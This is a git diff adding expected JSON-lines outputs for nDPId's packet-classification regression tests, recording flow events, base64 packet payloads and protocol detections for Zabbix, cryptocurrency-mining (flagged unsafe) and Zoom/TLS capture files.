+00433{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"zabbix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1572254070,"pkt_ts_usec":608854,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"OjUSPEK7RoQclwmZCABFAAA8AABAAEAGMvDAqEMZwKhDYidC30pw8XhkcAHR1aAScSDKPwAAAgQFtAQCCAorfUX3K8I10wEDAwc="} +00422{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"zabbix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1572254070,"pkt_ts_usec":608873,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"RoQclwmZOjUSPEK7CABFAAA05AhAAEAGTu\/AqENiwKhDGd9KJ0JwAdHVcPF4ZYAQAOUH8wAAAQEICivCNdQrfUX3"} +00453{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"zabbix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1572254070,"pkt_ts_usec":608917,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"RoQclwmZOjUSPEK7CABFAABL5AlAAEAGTtfAqENiwKhDGd9KJ0JwAdHVcPF4ZYAYAOUICgAAAQEICivCNdQrfUX3WkJYRAEKAAAAAAAAAHByb2MubnVtW10="} +00521{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"zabbix.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1572254070608,"flow_last_seen":1572254070608,"flow_tot_l4_data_len":167,"flow_min_l4_data_len":32,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.67.98","dst_ip":"192.168.67.25","src_port":57162,"dst_port":10050,"l4_proto":"tcp","ndpi": {"proto":"Zabbix","breed":"Acceptable","category":"Network"}} +00421{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"zabbix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1572254070,"pkt_ts_usec":609214,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"OjUSPEK7RoQclwmZCABFAAA0t4ZAAEAGe3HAqEMZwKhDYidC30pw8XhlcAHR7IAQAONpMQAAAQEICit9RfcrwjXU"} +00446{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"zabbix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1572254070,"pkt_ts_usec":613291,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"OjUSPEK7RoQclwmZCABFAABEt4dAAEAGe2DAqEMZwKhDYidC30pw8XhlcAHR7IAYAON\/JgAAAQEICit9RfsrwjXUWkJYRAEDAAAAAAAAADI2Mw=="} +00422{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"zabbix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1572254070,"pkt_ts_usec":613301,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"OjUSPEK7RoQclwmZCABFAAA0t4hAAEAGe2\/AqEMZwKhDYidC30pw8Xh1cAHR7IARAONpHAAAAQEICit9RfsrwjXU"} +00421{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"zabbix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1572254070,"pkt_ts_usec":613423,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"RoQclwmZOjUSPEK7CABFAAA05ApAAEAGTu3AqENiwKhDGd9KJ0JwAdHscPF4dYAQAOUH8wAAAQEICivCNdUrfUX7"} +00421{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"zabbix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1572254070,"pkt_ts_usec":614569,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"RoQclwmZOjUSPEK7CABFAAA05AtAAEAGTuzAqENiwKhDGd9KJ0JwAdHscPF4doARAOUH8wAAAQEICivCNdUrfUX7"} +00423{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"zabbix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1572254070,"pkt_ts_usec":614852,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"OjUSPEK7RoQclwmZCABFAAA0t4lAAEAGe27AqEMZwKhDYidC30pw8Xh2cAHR7YAQAONpGAAAAQEICit9Rf0rwjXV"} diff --git a/test/results/zcash.pcap.out b/test/results/zcash.pcap.out new file mode 100644 index 000000000..089a72942 --- /dev/null +++ b/test/results/zcash.pcap.out @@ -0,0 +1,17 @@ +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"zcash.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1514196094240,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.92","dst_ip":"178.32.196.217","src_port":55190,"dst_port":9050,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00433{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"zcash.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196094,"pkt_ts_usec":240063,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"fmgbW\/gUcIXCQA64CABFAAA8ux1AAEAGRaDAqAJcsiDE2deWI1qAnf85AAAAAKACchAV6gAAAgQFtAQCCApPjruwAAAAAAEDAwc="} +00435{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"zcash.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196094,"pkt_ts_usec":322725,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"cIXCQA64fmgbW\/gUCABFAAA8AABAADMGDb6yIMTZwKgCXCNa15Yj5r0mgJ3\/OqAScSDZNwAAAgQFtAQCCArshW\/8T467sAEDAwk="} +00422{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"zcash.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196094,"pkt_ts_usec":322778,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"fmgbW\/gUcIXCQA64CABFAAA0ux5AAEAGRafAqAJcsiDE2deWI1qAnf86I+a9J4AQAOV4LAAAAQEICk+Ou8XshW\/8"} +00773{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"zcash.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196094,"pkt_ts_usec":322947,"pkt_caplen":326,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":326,"pkt_l4_len":292,"pkt":"fmgbW\/gUcIXCQA64CABFAAE4ux9AAEAGRKLAqAJcsiDE2deWI1qAnf86I+a9J4AYAOWIhgAAAQEICk+Ou8XshW\/8eyJtZXRob2QiOiJsb2dpbiIsInBhcmFtcyI6eyJsb2dpbiI6IjRCQ2VFUGhvZGdQTWJQV0ZOMWRQd2hXWGRSWDhxNG1oaGRaZEExZHRTTUxUTENFWXZBajlRWGpYQWZGN0N1Z0VibWZCaGdrcUhiZGdLOWIyd0tBNm5xUlpRQ2d2Q0RtLmNiMmI3MzQxNWM0ZmFmMjE0MDM1YTczYjlkOTQ3YzIwMjM0MmYzYmYzYmRmNjMyMTMyYmQ2ZDdhZjk4Y2IyNTcucnl6ZW4iLCJwYXNzIjoieCIsImFnZW50IjoieG1yLXN0YWstY3B1LzEuMy4wLTEuNS4wIn0sImlkIjoxfQo="} +00554{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"zcash.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1514196094240,"flow_last_seen":1514196094322,"flow_tot_l4_data_len":404,"flow_min_l4_data_len":32,"flow_max_l4_data_len":292,"flow_avg_l4_data_len":101,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.92","dst_ip":"178.32.196.217","src_port":55190,"dst_port":9050,"l4_proto":"tcp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"Mining","breed":"Unsafe","category":"Mining"}} +00421{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"zcash.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196094,"pkt_ts_usec":405351,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"cIXCQA64fmgbW\/gUCABFAAA0zTZAADMGQI+yIMTZwKgCXCNa15Yj5r0ngJ4APoAQADl3vwAAAQEICuyFcBFPjrvF"} +00828{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"zcash.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196094,"pkt_ts_usec":406828,"pkt_caplen":369,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":369,"pkt_l4_len":335,"pkt":"cIXCQA64fmgbW\/gUCABFAAFjzTdAADMGP1+yIMTZwKgCXCNa15Yj5r0ngJ4APoAYADnxwAAAAQEICuyFcBFPjrvFeyJpZCI6MSwianNvbnJwYyI6IjIuMCIsImVycm9yIjpudWxsLCJyZXN1bHQiOnsiaWQiOiI0NzkwNTk1NDY4ODMyMTgiLCJqb2IiOnsiYmxvYiI6IjA2MDZlODk4ODNkMjA1YTY1ZDhlZTc4OTkxODM4YTFjZjNlYzJlYmJjNWZiMWZhNDNkZWM1ZmExY2QyYmVlNDA2OTIxMmE1NDljZDczMTAwMDAwMDAwNWE4ODIzNTY1MzA5N2FhM2U5N2VmMmNlZWY0YWVlNjEwNzUxYTgyOGY5YmUxYTA3NThhNzgzNjVmYjBhNGM4YzA1Iiwiam9iX2lkIjoiNzIyMTM0MTc0MTI3MTMxIiwidGFyZ2V0IjoiZGM0NjAzMDAifSwic3RhdHVzIjoiT0sifX0K"} +00421{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"zcash.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196094,"pkt_ts_usec":406901,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"fmgbW\/gUcIXCQA64CABFAAA0uyBAAEAGRaXAqAJcsiDE2deWI1qAngA+I+a+VoAQAO11xwAAAQEICk+Ou9rshXAR"} +00668{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"zcash.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196106,"pkt_ts_usec":556737,"pkt_caplen":249,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":249,"pkt_l4_len":215,"pkt":"fmgbW\/gUcIXCQA64CABFAADruyFAAEAGRO3AqAJcsiDE2deWI1qAngA+I+a+VoAYAO27KwAAAQEICk+Ox7jshXAReyJtZXRob2QiOiJzdWJtaXQiLCJwYXJhbXMiOnsiaWQiOiI0NzkwNTk1NDY4ODMyMTgiLCJqb2JfaWQiOiI3MjIxMzQxNzQxMjcxMzEiLCJub25jZSI6Ijk4MDI0MDAxIiwicmVzdWx0IjoiYzliZTkzODFhNjhkNTMzYzA1OWQ2MTRkOTYxZTA1MzRkN2Q4Nzg1ZGQ1YzMzOWMyZjk1OTZlYjk1ZjMyMDEwMCJ9LCJpZCI6MX0K"} +00507{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"zcash.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196106,"pkt_ts_usec":668425,"pkt_caplen":129,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":129,"pkt_l4_len":95,"pkt":"cIXCQA64fmgbW\/gUCABFAABzzThAADMGQE6yIMTZwKgCXCNa15Yj5r5WgJ4A9YAYADmdhwAAAQEICuyFfApPjse4eyJpZCI6MSwianNvbnJwYyI6IjIuMCIsImVycm9yIjpudWxsLCJyZXN1bHQiOnsic3RhdHVzIjoiT0sifX0K"} +00423{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"zcash.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196106,"pkt_ts_usec":668470,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"fmgbW\/gUcIXCQA64CABFAAA0uyJAAEAGRaPAqAJcsiDE2deWI1qAngD1I+a+lYAQAO1c3gAAAQEICk+Ox9TshXwK"} +00670{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"zcash.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196109,"pkt_ts_usec":287307,"pkt_caplen":249,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":249,"pkt_l4_len":215,"pkt":"fmgbW\/gUcIXCQA64CABFAADruyNAAEAGROvAqAJcsiDE2deWI1qAngD1I+a+lYAYAO0qZAAAAQEICk+OymLshXwKeyJtZXRob2QiOiJzdWJtaXQiLCJwYXJhbXMiOnsiaWQiOiI0NzkwNTk1NDY4ODMyMTgiLCJqb2JfaWQiOiI3MjIxMzQxNzQxMjcxMzEiLCJub25jZSI6ImIxMDM4MDAxIiwicmVzdWx0IjoiZjg0NTk2YTQ4ZTU3NjgzZjZiNTYwOGNjNWQzNGY0ZWExZjY0ZGJmYTJiYTM5N2I5MTQyNjI2YjlkOWI5MDEwMCJ9LCJpZCI6MX0K"} +00509{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"zcash.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196109,"pkt_ts_usec":400817,"pkt_caplen":129,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":129,"pkt_l4_len":95,"pkt":"cIXCQA64fmgbW\/gUCABFAABzzTlAADMGQE2yIMTZwKgCXCNa15Yj5r6VgJ4BrIAYADmXOwAAAQEICuyFfrZPjspieyJpZCI6MSwianNvbnJwYyI6IjIuMCIsImVycm9yIjpudWxsLCJyZXN1bHQiOnsic3RhdHVzIjoiT0sifX0K"} +00424{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"zcash.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196109,"pkt_ts_usec":400850,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"fmgbW\/gUcIXCQA64CABFAAA0uyRAAEAGRaHAqAJcsiDE2deWI1qAngGsI+a+1IAQAO1WkQAAAQEICk+Oyn\/shX62"} +00670{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"zcash.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196116,"pkt_ts_usec":332032,"pkt_caplen":249,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":249,"pkt_l4_len":215,"pkt":"fmgbW\/gUcIXCQA64CABFAADruyVAAEAGROnAqAJcsiDE2deWI1qAngGsI+a+1IAYAO2rlwAAAQEICk+O0UPshX62eyJtZXRob2QiOiJzdWJtaXQiLCJwYXJhbXMiOnsiaWQiOiI0NzkwNTk1NDY4ODMyMTgiLCJqb2JfaWQiOiI3MjIxMzQxNzQxMjcxMzEiLCJub25jZSI6IjYzMDU4MDAwIiwicmVzdWx0IjoiYzgxMTEzMWE2Yjk3N2M3MmYwYjBmOWNkYzg0ODk3M2NlNGJlOGZiZDI4NmYzNTgzZmRlMGVhZWZhOGY3MDAwMCJ9LCJpZCI6MX0K"} +00509{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"zcash.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196116,"pkt_ts_usec":444796,"pkt_caplen":129,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":129,"pkt_l4_len":95,"pkt":"cIXCQA64fmgbW\/gUCABFAABzzTpAADMGQEyyIMTZwKgCXCNa15Yj5r7UgJ4CY4AYADmIgwAAAQEICuyFhZdPjtFDeyJpZCI6MSwianNvbnJwYyI6IjIuMCIsImVycm9yIjpudWxsLCJyZXN1bHQiOnsic3RhdHVzIjoiT0sifX0K"} diff --git a/test/results/zoom.pcap.out b/test/results/zoom.pcap.out new file mode 100644 index 000000000..bfa2599c2 --- /dev/null +++ b/test/results/zoom.pcap.out @@ -0,0 +1,325 @@ +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"zoom.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1569520466080,"flow_last_seen":0,"flow_tot_l4_data_len":231,"flow_min_l4_data_len":231,"flow_max_l4_data_len":231,"flow_avg_l4_data_len":231,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"172.217.21.72","src_port":54854,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00692{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520466,"pkt_ts_usec":80774,"pkt_caplen":265,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":265,"pkt_l4_len":231,"pkt":"EBMx8Tl2KDc3AG3ICABFAAD7AABAAEAGtb7AqAF1rNkVSNZGAbt9MLg2pduNV4AYEAjbcQAAAQEICiWcznNwmChtFgMBAMIBAAC+AwE5BEH329R9hgOe6JDNh5Do5\/IyBg\/qLeMPj9mOGNz+swAAEgAvADMANQA5wAnACsATwBRWAAEAAIP\/AQABAAAAAB0AGwAAGHd3dy5nb29nbGV0YWdtYW5hZ2VyLmNvbQAXAAAABQAFAQAAAAAzdAAAABIAAAAQADAALgJoMgVoMi0xNgVoMi0xNQVoMi0xNAhzcGR5LzMuMQZzcGR5LzMIaHR0cC8xLjEACwACAQAACgAKAAgAHQAXABgAGQ=="} +00802{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"zoom.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1569520466080,"flow_last_seen":0,"flow_tot_l4_data_len":231,"flow_min_l4_data_len":231,"flow_max_l4_data_len":231,"flow_avg_l4_data_len":231,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"172.217.21.72","src_port":54854,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"www.googletagmanager.com","ja3":"d78489b860c8bf7838a6ff0b4d131541","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,h2-16,h2-15,h2-14,spdy\/3.1,spdy\/3,http\/1.1"}} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2,"source":"zoom.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1569520466209,"flow_last_seen":0,"flow_tot_l4_data_len":53,"flow_min_l4_data_len":53,"flow_max_l4_data_len":53,"flow_avg_l4_data_len":53,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520466,"pkt_ts_usec":209429,"pkt_caplen":87,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":87,"pkt_l4_len":53,"pkt":"AQBeAAD7KDc3AG3ICABFAABJ4i8AAAERNFzAqAF14AAA+xTpFOkANQtaAAAAAAABAAAAAAAAEF9zcG90aWZ5LWNvbm5lY3QEX3RjcAVsb2NhbAAADAAB"} +00549{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2,"source":"zoom.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1569520466209,"flow_last_seen":0,"flow_tot_l4_data_len":53,"flow_min_l4_data_len":53,"flow_max_l4_data_len":53,"flow_avg_l4_data_len":53,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"_spotify-connect._tcp.local"}} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3,"source":"zoom.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1569520466316,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"167.99.215.164","src_port":54863,"dst_port":4434,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520466,"pkt_ts_usec":316930,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAG+ZLAqAF1p2PXpNZPEVI+PYNCAAAAALAC\/\/9XugAAAgQFtAEDAwUBAQgKJZzPXwAAAAAEAgAA"} +00431{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520466,"pkt_ts_usec":355017,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAADUGBJenY9ekwKgBdRFS1k9+iDZRPj2DQ6AScSDtKQAAAgQFrAQCCArh63OkJZzPXwEDAwc="} +00419{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520466,"pkt_ts_usec":355115,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG+Z7AqAF1p2PXpNZPEVI+PYNDfog2UoAQECx8vAAAAQEICiWcz4Xh63Ok"} +01118{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520466,"pkt_ts_usec":355344,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"EBMx8Tl2KDc3AG3ICABFAAI5AABAAEAG95nAqAF1p2PXpNZPEVI+PYNDfog2UoAYECxTkgAAAQEICiWcz4Xh63OkFgMBAgABAAH8AwMNN3rZQIy1W6cxVq6XcSeMK0WraD3DhdYuuqU1GeYt1CAlA\/kunOkhTd5wsEiS6\/3fwP4i6nJuxBCdQo4WkiQHSgCgwDDALMAowCTAFMAKAKUAowChAJ8AawBqAGkAaAA5ADgANwA2AIgAhwCGAIXAMsAuwCrAJsAPwAUAnQA9ADUAhACNwC\/AK8AnwCPAE8AJAKQAogCgAJ4AZwBAAD8APgAzADIAMQAwAJoAmQCYAJcARQBEAEMAQsAxwC3AKcAlwA7ABACcADwALwCWAEEABwCMwBHAB8AMwAIABQAEAIoA\/wEAARMAAAASABAAAA1kYXRpLm50b3Aub3JnAAsABAMAAQIACgAcABoAFwAZABwAGwAYABoAFgAOAA0ACwAMAAkACgAjAAAADQAgAB4GAQYCBgMFAQUCBQMEAQQCBAMDAQMCAwMCAQICAgMADwABAQAVAKQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00795{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":6,"source":"zoom.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":4,"flow_first_seen":1569520466316,"flow_last_seen":1569520466355,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"167.99.215.164","src_port":54863,"dst_port":4434,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.ntop","breed":"Safe","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"dati.ntop.org","ja3":"a795593605a13211941d44505b4d1e39","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00420{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520466,"pkt_ts_usec":392600,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA05\/ZAADUGHKinY9ekwKgBdRFS1k9+iDZSPj2FSIAQAOuJ0gAAAQEICuHrc8olnM+F"} 